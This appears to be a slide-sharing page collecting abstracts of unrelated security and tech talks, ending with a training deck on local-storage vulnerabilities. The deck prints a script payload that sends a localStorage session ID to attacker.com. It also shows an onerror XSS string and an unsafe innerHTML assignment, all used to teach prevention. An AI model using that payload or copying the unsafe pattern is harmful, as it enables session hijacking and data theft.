Cross site scripting (XSS) is a type of computer security vulnerability typically found in web applications, but in proposing defensive measures for cross site scripting the websites validate the user input and determine if they are vulnerable to cross site scripting. The major considerations are input validation and output sanitization.
There are lots of defense techniques introduced nowadays and even though the coding methods used by developers are evolving to counter attack cross site scripting techniques, still the security threat persist in many web applications for the following reasons:
• The complexity of implementing the codes or methods.
• Non-existence of input data validation and output sanitization in all input fields of the application.
• Lack of knowledge in identifying hidden XSS issues etc.
This proposed project report will briefly discuss what cross site scripting is and highlight the security features and defense techniques that can help against this widely versatile attack.

When developers api simplify user mode rootkits development – part iiYury Chemerkin
This series of articles is about the ease of which user-mode rootkits for BlackBerry can be developed. In a previous article, several cases were mentioned along with ideas on how a mobile rootkit could easily be built on the application level by exploiting API and privilege escalation vulnerabilities or oversight. Cases covered the top trojans for two years with the first one being Android Plankton. Instead of giving access to hidden levels of this popular game, malware sends information about the device to criminals and downloads other malicious programs.
With the increased number of web applications, web security is be- coming more and more significant. Cross-Site Scripting vulnerability, abbreviated as XSS, is a common web vulnerability. Exploiting XSS vulnerabilities can cause hijacked user sessions, malicious code injec- tions into web applications, and critical information stealing. This article gives brief information about XSS, discusses its types, and de- signs a demo website to demonstrate attack processes of common XSS exploitation scenarios. The article also shows how to prevent XSS at- tacks with code illustrations.

Cross Site Scripting (Reflected)
Description
Cross-site Scripting (XSS) is an attack technique that involves echoing attacker-supplied code into a user's browser instance. A browser instance can be a standard web browser client, or a browser object embedded in a software product such as the browser within WinAmp, an RSS reader, or an email client. The code itself is usually written in HTML/JavaScript, but may also extend to VBScript, ActiveX, Java, Flash, or any other browser-supported technology.
When an attacker gets a user's browser to execute his/her code, the code will run within the security context (or zone) of the hosting web site. With this level of privilege, the code has the ability to read, modify and transmit any sensitive data accessible by the browser. A Cross-site Scripted user could have his/her account hijacked (cookie theft), their browser redirected to another location, or possibly shown fraudulent content delivered by the web site they are visiting. Cross-site Scripting attacks essentially compromise the trust relationship between a user and the web site. Applications utilizing browser object instances which load content from the file system may execute code under the local machine zone allowing for system compromise.
There are three types of Cross-site Scripting attacks: non-persistent, persistent and DOM-based.
Non-persistent attacks and DOM-based attacks require a user to either visit a specially crafted link laced with malicious code, or visit a malicious web page containing a web form, which when posted to the vulnerable site, will mount the attack. Using a malicious form will oftentimes take place when the vulnerable resource only accepts HTTP POST requests. In such a case, the form can be submitted automatically, without the victim's knowledge (e.g. by using JavaScript). Upon clicking on the malicious link or submitting the malicious form, the XSS payload will get echoed back and will get interpreted by the user's browser and execute. Another technique to send almost arbitrary requests (GET and POST) is by using an embedded client, such as Adobe Flash.
Persistent attacks occur when the malicious code is submitted to a web site where it's stored for a period of time. Examples of an attacker's favorite targets often include message board posts, web mail messages, and web chat software. The unsuspecting user is not required to interact with any additional site/link (e.g. an attacker site or a malicious link sent via email), just simply view the web page containing the code.

"Impact of front-end architecture on development cost", Viktor TurskyiFwdays
I have heard many times that architecture is not important for the front-end. Also, many times I have seen how developers implement features on the front-end just following the standard rules for a framework and think that this is enough to successfully launch the project, and then the project fails. How to prevent this and what approach to choose? I have launched dozens of complex projects and during the talk we will analyze which approaches have worked for me and which have not.

Search and Society: Reimagining Information Access for Radical FuturesBhaskar Mitra
The field of Information retrieval (IR) is currently undergoing a transformative shift, at least partly due to the emerging applications of generative AI to information access. In this talk, we will deliberate on the sociotechnical implications of generative AI for information access. We will argue that there is both a critical necessity and an exciting opportunity for the IR community to re-center our research agendas on societal needs while dismantling the artificial separation between the work on fairness, accountability, transparency, and ethics in IR and the rest of IR research. Instead of adopting a reactionary strategy of trying to mitigate potential social harms from emerging technologies, the community should aim to proactively set the research agenda for the kinds of systems we should build inspired by diverse explicitly stated sociotechnical imaginaries. The sociotechnical imaginaries that underpin the design and development of information access technologies needs to be explicitly articulated, and we need to develop theories of change in context of these diverse perspectives. Our guiding future imaginaries must be informed by other academic fields, such as democratic theory and critical theory, and should be co-developed with social science scholars, legal scholars, civil rights and social justice activists, and artists, among others.

Effective Application Security in Software Delivery lifecycle using Deployment Firewall and DBOM
The modern software delivery process (or the CI/CD process) includes many tools, distributed teams, open-source code, and cloud platforms. Constant focus on speed to release software to market, along with the traditional slow and manual security checks has caused gaps in continuous security as an important piece in the software supply chain. Today organizations feel more susceptible to external and internal cyber threats due to the vast attack surface in their applications supply chain and the lack of end-to-end governance and risk management.
The software team must secure its software delivery process to avoid vulnerability and security breaches. This needs to be achieved with existing tool chains and without extensive rework of the delivery processes. This talk will present strategies and techniques for providing visibility into the true risk of the existing vulnerabilities, preventing the introduction of security issues in the software, resolving vulnerabilities in production environments quickly, and capturing the deployment bill of materials (DBOM).

Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024Tobias Schneck
As AI technology is pushing into IT I was wondering myself, as an “infrastructure container kubernetes guy”, how get this fancy AI technology get managed from an infrastructure operational view? Is it possible to apply our lovely cloud native principals as well? What benefit’s both technologies could bring to each other?
Let me take this questions and provide you a short journey through existing deployment models and use cases for AI software. On practical examples, we discuss what cloud/on-premise strategy we may need for applying it to our own infrastructure to get it to work from an enterprise perspective. I want to give an overview about infrastructure requirements and technologies, what could be beneficial or limiting your AI use cases in an enterprise environment. An interactive Demo will give you some insides, what approaches I got already working for real.
Epistemic Interaction - tuning interfaces to provide information for AI supportAlan Dix
Paper presented at SYNERGY workshop at AVI 2024, Genoa, Italy. 3rd June 2024
https://alandix.com/academic/papers/synergy2024-epistemic/
As machine learning integrates deeper into human-computer interactions, the concept of epistemic interaction emerges, aiming to refine these interactions to enhance system adaptability. This approach encourages minor, intentional adjustments in user behaviour to enrich the data available for system learning. This paper introduces epistemic interaction within the context of human-system communication, illustrating how deliberate interaction design can improve system understanding and adaptation. Through concrete examples, we demonstrate the potential of epistemic interaction to significantly advance human-computer interaction by leveraging intuitive human communication strategies to inform system design and functionality, offering a novel pathway for enriching user-system engagements.

Secure Code Warrior - Local storage
1. Local Storage
Web App Vulnerabilities
by Secure Code Warrior Limited is licensed under CC BY-ND 4.0
2. What is it?
Local storage, also known as web
storage, allows an application to store
key/value pairs at the client side.
There is both a persistent storage that
survives system and browser restarts
and a session storage that exists only
until the window or tab is closed.
What causes it?
An application explicitly makes use of
local storage to store data. As a result,
the storage can contain sensitive data
that could be retrieved by a cross-site
scripting attack.
What could happen?
An attacker could be able to
retrieve the entire contents of the
local storage through a cross-site
scripting attack, such as session
identifiers or personally
identifiable information.
How to prevent it?
Since the local storage is always
accessible by JavaScript and there is no
way to restrict the path, it should
simply be avoided to store sensitive
information in the local storage. In case
it is used, avoid unsafe assignments.
3. Local Storage
Understanding the security vulnerability
A web application makes
use of the local storage to
save bandwidth and avoid
having to retransmit a
user’s data.
Additionally, the application is
vulnerable to a cross-site scripting
injection, allowing an attacker to
retrieve the entire contents of the
local storage remotely, including
sensitive data such as session IDs.
Both scenario’s allow
an attacker to retrieve
data contained in the
local storage.
A user leaves his computer
unlocked, allowing an attacker to
view the local storage in the
browser window.
Information
leakage
localStorage.setItem(“user",user);
localStorage.setItem(“firstName",first);
localStorage.setItem(“lastName",last);
localStorage.setItem(“age",age);
localStorage.setItem(“sex",sex);
<script>document.write(
"<img src='http://attacker.com?hack=
"+localStorage.getItem(‘sessionID')+"'>");
</script>
4. Local Storage
Understanding the security vulnerability
The same web
application also stores
usernames for other
profiles the user visited.
A user has visited the attacker’s
profile. The user browses to a
page that shows an overview of all
users that were previously visited.
The usernames are retrieved
from local storage and directly
outputted. This results in the
attackers “username” being
executed, showing the user an
alert box.
An attacker has a specifically
crafted username that will run a
script if not properly dealt with.
XSS
visited = localStorage.getItem(
“userVisitZ");
document.getElementById("div1")
.innerHTML=visited;
localStorage.setItem(“userVisitX",userX);
localStorage.setItem(“userVisitY",userY);
localStorage.setItem(“userVisitZ",attacker);
User:
<img src=x onerror=alert(Hacked!)>
Visited users:
UserX
UserY
Hacked!
5. Local Storage
Realizing the impact
A local attacker could view the storage
contents directly in the user’s browser.
Unsafe assignments from local storage
could result in XSS.
An attacker could be able to retrieve the entire
contents of the local storage through XSS.
6. Local Storage
Preventing the mistake
Apply application-wide filters or sanitization on
assignments from local storage.
Do NOT store sensitive data in the local storage.
